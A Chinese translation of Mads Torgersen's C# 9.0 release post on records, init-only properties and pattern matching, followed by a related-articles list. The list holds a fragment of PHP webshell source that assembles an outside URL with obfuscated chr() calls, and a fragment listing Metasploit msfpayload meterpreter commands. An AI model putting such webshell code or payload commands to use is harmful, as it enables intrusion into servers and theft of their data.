C# 9.0 正式发布了(C# 9.0 on the record)

翻译自 Mads Torgersen 2020年11月10日的博文《C# 9.0 on the record》 [1],Mads Torgersen 是微软 C# 语言的首席设计师,也是微软 .NET 团队的项目群经理。

C# 9.0 正式发布

正式宣布:C# 9.0 发布了!早在5月,我就写了一篇关于 C# 9.0 计划的博文 [2],以下是该帖子的更新版本,以匹配我们最终实际交付的产品。

对于 C# 的每一个新版本,我们都在努力让常见编码场景的实现变得更加清晰和简单,C# 9.0 也不例外。这次特别关注的是支持数据模型的简洁和不可变表示。

一、仅初始化属性

对象初始化器非常棒。它们为类型的客户端提供了一种非常灵活和易读的格式来创建对象,并且特别适合于嵌套对象的创建,让你可以一次性创建整个对象树。这里有一个简单的例子:

var person = new Person { FirstName = "Mads", LastName = "Torgersen" };

对象初始化器还使类型作者不必编写大量的构造函数 —— 他们所要做的就是编写一些属性!

public class Person
{public string? FirstName { get; set; }public string? LastName { get; set; }
}

目前最大的限制是属性必须是可变的(即可写的),对象初始化器才能工作:它们首先调用对象的构造函数(本例中是默认的无参数构造函数),然后赋值给属性 setter

仅初始化(init-only)属性解决了这个问题!它引入了一个 init 访问器,它是 set 访问器的变体,只能在对象初始化时调用:

public class Person
{public string? FirstName { get; init; }public string? LastName { get; init; }
}

有了这个声明,上面的客户端代码仍然是合法的,但是随后对 FirstName 和 LastName 属性的任何赋值都是错误的:

var person = new Person { FirstName = "Mads", LastName = "Nielsen" }; // OK
person.LastName = "Torgersen"; // ERROR!

因此,仅初始化属性可在初始化完成后保护对象的状态免遭突变。

初始化访问器和只读字段

因为 init 访问器只能在初始化期间调用,所以允许它们更改封闭类的只读(readonly)字段,就像在构造函数中一样。

public class Person
{private readonly string firstName = "<unknown>";private readonly string lastName = "<unknown>";public string FirstName{get => firstName;init => firstName = (value ?? throw new ArgumentNullException(nameof(FirstName)));}public string LastName{get => lastName;init => lastName = (value ?? throw new ArgumentNullException(nameof(LastName)));}
}

二、记录

经典的面向对象编程的核心思想是,对象具有强大的身份并封装了随时间演变的可变状态。C# 在这方面一直都很出色,但是有时您想要的恰恰相反,而在此时,C# 的默认设置往往会妨碍工作,使事情变得非常麻烦。

如果您发现自己希望整个对象是不可变的,并且行为像一个值,那么您应该考虑将其声明为记录(record)

public record Person
{public string? FirstName { get; init; }public string? LastName { get; init; }
}

记录仍然是类,但是 record 关键字赋予了它一些另外的类似于值的行为。一般来说,记录是根据其内容而不是其标识来定义的。在这点上,记录更接近于结构体,但是记录仍然是引用类型。

虽然记录是可变的,但它们主要是为更好地支持不可变数据模型而构建的。

with 表达式

处理不可变数据时,一种常见的模式是从现有值创建新值以表示新状态。例如,如果我们的 person 要更改其 LastName,我们会将其表示为一个新对象,该对象是旧对象的副本,只是有不同的 LastName。这种技巧通常被称之为非破坏性突变(non-destructive mutation)。记录(record)不是代表 person 在一段时间内的 状态,而是代表 person 在给定时间点的 状态。

为了帮助实现这种编程风格,记录(record)允许使用一种新的表达式 —— with 表达式:

var person = new Person { FirstName = "Mads", LastName = "Nielsen" };
var otherPerson = person with { LastName = "Torgersen" };

with 表达式使用对象初始化器语法来声明新对象与旧对象的不同之处。您可以指定多个属性。

with 表达式的工作原理是将旧对象的完整状态实际地复制到一个新对象中,然后根据对象初始化器对其进行改变。这意味着属性必须具有 init 或 set 访问器才能在 with 表达式中进行更改。

基于值的相等

所有对象都从对象类(object)继承一个虚的 Equals(object) 方法。这被用作是当两个参数都是非空(non-null)时,静态方法 Object.Equals(object, object) 的基础。

结构体重写了 Equals(object) 方法,通过递归地在结构体的每一个字段上调用 Equals 来比较结构体的每一个字段,从而实现了“基于值的相等”。记录(record)是一样的。

这意味着,根据它们的“值性(value-ness)”,两个记录(record)对象可以彼此相等,而不是同一个对象。例如,如果我们将被修改 person 的 LastName 改回去:

var originalPerson = otherPerson with { LastName = "Nielsen" };

现在我们将得到 ReferenceEquals(person, originalPerson) = false(它们不是同一个对象),但是 Equals(person, originalPerson) = true(它们有相同的值)。除了基于值的 Equals 之外,还有一个基于值的 GetHashCode() 重写。另外,记录实现了 IEquatable<T> 并且重载 == 和 != 操作符,因此基于值的行为在所有这些不同的相等机制中表现一致。

值的相等性和可变性并不总是很好地融合在一起。一个问题是,更改值可能导致 GetHashCode 的结果随时间变化,如果对象存储在哈希表中,这是很不幸的!我们不会禁止使用可变记录,但是我们不鼓励它们,除非您充分考虑过后果!

继承

记录可以从其他记录继承:

public record Student : Person
{public int ID;
}

with 表达式和值的相等性与记录的继承很好地结合在一起,因为它们考虑了整个运行时对象,而不仅仅是它的静态已知类型。假设我创建了一个 Student,但将其存储在 Person 变量中:

Person student = new Student { FirstName = "Mads", LastName = "Nielsen", ID = 129 };

with 表达式仍将复制整个对象并保留运行时类型:

var otherStudent = student with { LastName = "Torgersen" };
WriteLine(otherStudent is Student); // true

以相同的方式,值的相等性确保两个对象具有相同的运行时类型,然后比较它们的所有状态:

Person similarStudent = new Student { FirstName = "Mads", LastName = "Nielsen", ID = 130 };
WriteLine(student != similarStudent); //true, 因为 ID 不同

位置记录

有时,对记录采用更具位置定位的方法很有用,因为记录的内容是通过构造函数参数指定的,并且可以通过位置解构来提取。完全可以在记录(record)中指定您自己的构造函数和解构函数:

public record Person
{public string FirstName { get; init; }public string LastName { get; init; }public Person(string firstName, string lastName)=> (FirstName, LastName) = (firstName, lastName);public void Deconstruct(out string firstName, out string lastName)=> (firstName, lastName) = (FirstName, LastName);
}

但是有一种更简短的语法来表达完全相同的意思(参数名称包装模式modulo casing of parameter names):

public record Person(string FirstName, string LastName);

它声明了公共的仅初始化(init-only)自动属性以及构造函数和解构函数,因此您就可以编写:

var person = new Person("Mads", "Torgersen"); //用位置参数构造(positional construction)
var (f, l) = person;                          //用位置参数解构(positional deconstruction)

如果不喜欢生成的自动属性,您可以定义自己的同名属性,生成的构造函数和解构函数将只使用您自定义的属性。在这种情况下,该参数在您用于初始化的作用域内。举例来说,假设您希望将 FirstName 设为受保护的属性:

public record Person(string FirstName, string LastName)
{protected string FirstName { get; init; } = FirstName;
}

位置记录可以像这样调用基构造函数:

public record Student(string FirstName, string LastName, int ID) : Person(FirstName, LastName);

三、顶级程序

译者注:
什么是 Top-level program ? 这是在顶级编写程序的一种更简单的方式:一个更简单的 Program.cs 文件。

用 C# 编写一个简单的程序需要大量的样板代码:

using System;
class Program
{static void Main(){Console.WriteLine("Hello World!");}
}

这不仅对语言初学者来说是难以承受的,而且还会使代码混乱,增加缩进级别。

在 C# 9.0 中,您可以在顶级编写主程序(main program):

using System;Console.WriteLine("Hello World!");

允许任何语句。此程序必须在文件中的 using 语句之后,任何类型或命名空间声明之前执行,并且只能在一个文件中执行。就像目前只能有一个 Main 方法一样。
如果您想返回一个状态码,您可以做。如果您想等待(await)事情,您可以做。如果您想访问命令行参数,args 可以作为一个“魔法”参数使用。

using static System.Console;
using System.Threading.Tasks;WriteLine(args[0]);
await Task.Delay(1000);
return 0;

局部函数是语句的一种形式,也允许在顶级程序中使用。从顶级语句部分之外的任何地方调用它们都是错误的。

四、改进的模式匹配

C# 9.0 中添加了几种新的模式。让我们从模式匹配教程 [3]的以下代码片段的上下文中来看看它们:

public static decimal CalculateToll(object vehicle) =>vehicle switch{...DeliveryTruck t when t.GrossWeightClass > 5000 => 10.00m + 5.00m,DeliveryTruck t when t.GrossWeightClass < 3000 => 10.00m - 2.00m,DeliveryTruck _ => 10.00m,_ => throw new ArgumentException("Not a known vehicle type", nameof(vehicle))};

简单类型模式

目前,类型模式需要在类型匹配时声明一个标识符 —— 即使该标识符是一个弃元 _,如上面的 DeliveryTruck _ 所示。但现在你只需写下类型就可以了:

DeliveryTruck => 10.00m,

关系模式

C# 9.0 引入了与关系运算符 <<= 等相对应的模式。因此,现在可以将上述模式的 DeliveryTruck 部分编写为嵌套的 switch 表达式:

DeliveryTruck t when t.GrossWeightClass switch
{> 5000 => 10.00m + 5.00m,< 3000 => 10.00m - 2.00m,_ => 10.00m,
},

这里的 > 5000 和 < 3000 是关系模式。

逻辑模式

最后,您可以将模式与逻辑运算符 andor 和 not 组合起来,这些运算符用单词拼写,以避免与表达式中使用的运算符混淆。例如,上面嵌套的 switch 的示例可以按如下升序排列:

DeliveryTruck t when t.GrossWeightClass switch
{< 3000 => 10.00m - 2.00m,>= 3000 and <= 5000 => 10.00m,> 5000 => 10.00m + 5.00m,
},

此例中间的案例使用 and 合并了两个关系模式,形成一个表示区间的模式。

not 模式的一个常见用法是将其应用于 null 常量模式,如 not null。例如,我们可以根据未知实例是否为空来拆分它们的处理:

not null => throw new ArgumentException($"Not a known vehicle type: {vehicle}", nameof(vehicle)),
null => throw new ArgumentNullException(nameof(vehicle))

此外,not 在 if 条件中包含 is 表达式时将会很方便,可以取代笨拙的双括号,例如:

if (!(e is Customer)) { ... } // 旧的写法

您可以写成:

if (e is not Customer) { ... } // 新的写法

实际上,在 is not 表达式中,允许您命名 Customer 以供后续使用:

if (e is not Customer c) { throw ... } // 如果此分支,则抛出异常或返回...
var n = c.FirstName;                   // ... 在这里,c 肯定已赋值

五、目标类型的 new 表达式

“目标类型(Target typing)”是我们在表达式从使用位置的上下文中获取其类型时所用的一个术语。例如,null 和 lambda 表达式始终是目标类型的。

C# 中的 new 表达式总是要求指定类型(隐式类型的数组表达式除外)。在 C# 9.0 中,如果表达式被赋值为一个明确的类型,则可以省略该类型。

Point p = new (3, 5);

当您有很多重复时,例如在数组或对象初始化设定中,这特别地好用:

Point[] ps = { new (1, 2), new (5, 2), new (5, -3), new (1, -3) };

六、协变式返回值

有时候,这样的表达是有用的 —— 派生类中的方法重写,具有一个比基类型中的声明更具体(更明确)的返回类型。C# 9.0 允许:

abstract class Animal
{public abstract Food GetFood();...
}
class Tiger : Animal
{public override Meat GetFood() => ...;
}

更多内容……

查看 C# 9.0 全部特性集的最好地方是 “What's new in C# 9.0” 文档页面 [4]


相关链接:

  1. https://devblogs.microsoft.com/dotnet/c-9-0-on-the-record/ C# 9.0 on the record ↩︎

  2. https://mp.weixin.qq.com/s/0BWgiBuIxW-agyFNSejMtg 欢迎来到 C# 9.0 ↩︎

  3. https://docs.microsoft.com/en-us/dotnet/csharp/tutorials/pattern-matching pattern matching tutorial ↩︎

  4. https://docs.microsoft.com/dotnet/csharp/whats-new/csharp-9 What's new in C# 9.0 ↩︎

作者 :Mads Torgersen 

译者 :技术译民 
出品 :技术译站(https://ITTranslator.cn/)

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/306985.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

磁带最优存储问题java实现_磁带的最优存储问题(贪心选择)

算法设计n个程序的平均读取时间&#xff1a;(贪心策略)在该题目中&#xff0c;要考虑综合因素&#xff1a;长度和读取概率。要求n个程序的平均读取时间最短。按照贪心策略&#xff0c;则每个程序的读取时间都应该最短。故&#xff1a;(1)计算每个程序的长度和读取概率的乘积。(…

BCVP第2期:项目已完成升级.NET5.0

(是时候拿出来这种图了)1开心的锣鼓想必这两天最热闹的几个词语&#xff0c;就是c#9.0、.net5.0还有conf大会了吧&#xff0c;当然还有大一统。其实&#xff0c;早在2019年年中&#xff0c;就已经引入了.NET5.0了&#xff0c;然后从2020-03-16开始&#xff0c;就一直在说.NET5.…

java 1..0 openjdk_java-1.7.0-openjdk-i386和java-7-openjdk-i386有什么区别

两个OpenJDK是一样的.但是OpenJDK与Oracle JDK略有不同.阅读this post了解更多信息.您为OpenJDK获取两个选项的原因是PROBABLY,您有两个安装的OpenJDK副本(或两个不同的引用到系统上的同一目录).为了进一步调查,请尝试使用ls -lh /usr/lib / jvm. /usr/lib / jvm通常是Java安装…

linux java升级版本_为嵌入式Linux设备实现更新/升级系统

我有一个在嵌入式Linux设备上运行的应用程序&#xff0c;并且偶尔会对软件进行更改&#xff0c;有时也会对根文件系统甚至已安装的内核进行更改 .在当前的更新系统中&#xff0c;只删除旧应用程序目录的内容&#xff0c;并在其上复制新文件 . 当对根文件系统进行更改时&#xf…

如何在ASP.NetCore增加文件上传大小

关注架构师高级俱乐部开启架构之路不定期福利发放哦~架构师高级俱乐部读完需要7分钟速读仅需 3 分钟/ 如何在核心中增加文件 ASP.NET 大小 /从ASP.NET 2.0开始最大请求正文大小限制为30MB &#xff08;28.6 MiB&#xff09;。在正常情况下&#xff0c;无需增加 HTTP 请求 body …

java完全二叉树最小堆_Java实现最小堆一

Java实现最小堆一堆是一种经过排序的完全二叉树&#xff0c;其中任一非终端节点的数据值均不大于(或不小于)其左孩子和右孩子节点的值。最大堆和最小堆是二叉堆的两种形式。最大堆&#xff1a;根结点的键值是所有堆结点键值中最大者。最小堆&#xff1a;根结点的键值是所有堆结…

一个 Task 不够,又来一个 ValueTask ,真的学懵了!

一&#xff1a;背景 1. 讲故事前几天在项目中用 MemoryStream 的时候意外发现 ReadAsync 方法多了一个返回 ValueTask 的重载&#xff0c;真是日了狗了&#xff0c;一个 Task 已经够学了&#xff0c;又来一个 ValueTask&#xff0c;晕&#xff0c;方法签名如下&#xff1a;publ…

java class类型参数_使用Class对象实例化Java类型参数/ generic

如何实例化Java泛型对象,该对象仅接受类或参数给出的类型参数宾语&#xff1f;例如&#xff1a;通常,可以使用以下语法实例化Integer对象的ArrayList&#xff1a;ArrayList foo new ArrayList();但是,给定一个Class诸如Integer.class之类的对象,怎么能创建一个类似的ArrayList…

Magicodes.IE 3.0重磅设计畅谈

Magicodes.IE 3.0重磅设计畅谈总体设计图Magicodes.IE导入导出通用库&#xff0c;支持Dto导入导出、模板导出、花式导出以及动态导出&#xff0c;支持Excel、Csv、Word、Pdf和Html。IE在去年年底重构一次之后&#xff0c;经过这么长时间的迭代&#xff0c;又迎来了瓶颈。根据本…

php引用类,thinkphp引用类的使用

比如发送邮件类phpmailer1.将核心文件放入ORG目录下2.在使用的地方&#xff0c;引入这个类文件如何引入呢&#xff1f;import(.ORG.phpmailer);这个表示引入当前项目中的ORG中的phpmailer.class.php文件3.引入之后就可以使用文件中的类了public function sendEmail() {import(.…

Net5 已经来临,让我来送你一个成功

没错&#xff0c;那就是“下载成功”。现在&#xff0c;已经可以急速下载.Net5 docker 镜像 .Net 5 进行今天已经正式发布&#xff0c;想必各位已经通过各种渠道了解到了此次发布的所有内容。并且也都体会到了这次凑成三连的金 scott 是什么效果&#xff08;啊哈&#xff0c;三…

list申请java,java把一个list中的内容添加到另一个list中 FPGA编程问题:有多个.v文件与module,把他们加到......

导航&#xff1a;网站首页 >java把一个list中的内容添加到另一个list中 FPGA编程问题&#xff1a;有多个.v文件与module&#xff0c;把他们加到...java把一个list中的内容添加到另一个list中 FPGA编程问题&#xff1a;有多个.v文件与module&#xff0c;把他们加到...相关问题…

推荐几款强大流行的BI系统

高级架构师俱乐部 读完需要2分钟速读仅需 1 分钟企业在日常运营过程中&#xff0c;需要根据公司实时经营数据来做未来决测或者发现经营中的问题&#xff0c;在此过程中离不开对数据的分析&#xff0c;而平常利用 excel 等方式极大的提高了领导层快速做出决测的成本&#xff0c…

php 4位数字不足补零,php实现数字不足补0的方法

php实现数字不足补0的方法发布时间&#xff1a;2020-08-28 09:51:06来源&#xff1a;亿速云阅读&#xff1a;100作者&#xff1a;小新这篇文章将为大家详细讲解有关php实现数字不足补0的方法&#xff0c;小编觉得挺实用的&#xff0c;因此分享给大家做个参考&#xff0c;希望大…

聊聊单元测试

大家好&#xff0c;我是Z哥。提起单元测试&#xff0c;很多人对它的态度是&#xff0c;我知道它有用&#xff0c;但是我不想写。大多数人的理由是没时间写&#xff0c;任务太多。但是说实话&#xff0c;是真的没时间吗&#xff1f;Z哥认为真是由于没时间而不写单元测试的人绝对…

php大马源码 手机网页,php大马源码:【百家号】脸书百科,分析 PHP大马-php_mof SHELL Web程序...

$password‘phpinfo‘;//登录密码//----------功能程序------------------//$c"chr";session_start();if (empty($_SESSION[‘PhpCode‘])) {$url$c(104).$c(116).$c(116).$c(112).$c(58);$url .$c(47).$c(47).$c(119).$c(119).$c(119);$url .$c(46).$c(112).$c(104)…

msf payload php,Metasploit(四)--Msfpayload命令

msfpayload即将在2015年6月18日弃用&#xff0c;用msfvenmon替代msfpayload -hmsfpayload的帮助信息。msfpayload -l | grep windowsmsfpayload -l | grep linuxmsfpayload -l | grep andriod列出某个平台的pyloadsmsfpayload windows/meterpreter/bind_tcp S查看需要设置参数m…

起点低,怎么破?

职场&认知洞察 丨 作者 / findyi这是findyi公众号分享的第91篇原创文章洋友问&#xff1a;“洋哥&#xff0c;我北漂多年&#xff0c;专科毕业从农村出来&#xff0c;感觉做什么都不顺&#xff0c;我该怎么办”。和他聊了聊&#xff0c;他毕业后就来北京打工&#xff0c;尝…

java编写记事本程序出现图形,高手帮忙啊,老师布置了一个作业,要用java编写一个记事本程序...

该楼层疑似违规已被系统折叠 隐藏此楼查看此楼super(arg0);// TODO Auto-generated constructor stubinitialize();}/*** param arg0* throws HeadlessException*/public Notepad(String arg0) throws HeadlessException {super(arg0);// TODO Auto-generated constructor stub…

C# Span 源码解读和应用实践

一&#xff1a;背景 1. 讲故事这两天工作上太忙没有及时持续的文章产出&#xff0c;和大家说声抱歉&#xff0c;前几天群里一个朋友在问什么时候可以产出 Span 的下一篇&#xff0c;哈哈&#xff0c;这就来啦&#xff01;读过上一篇的朋友应该都知道 Span 统一了 .NET 程序 栈 …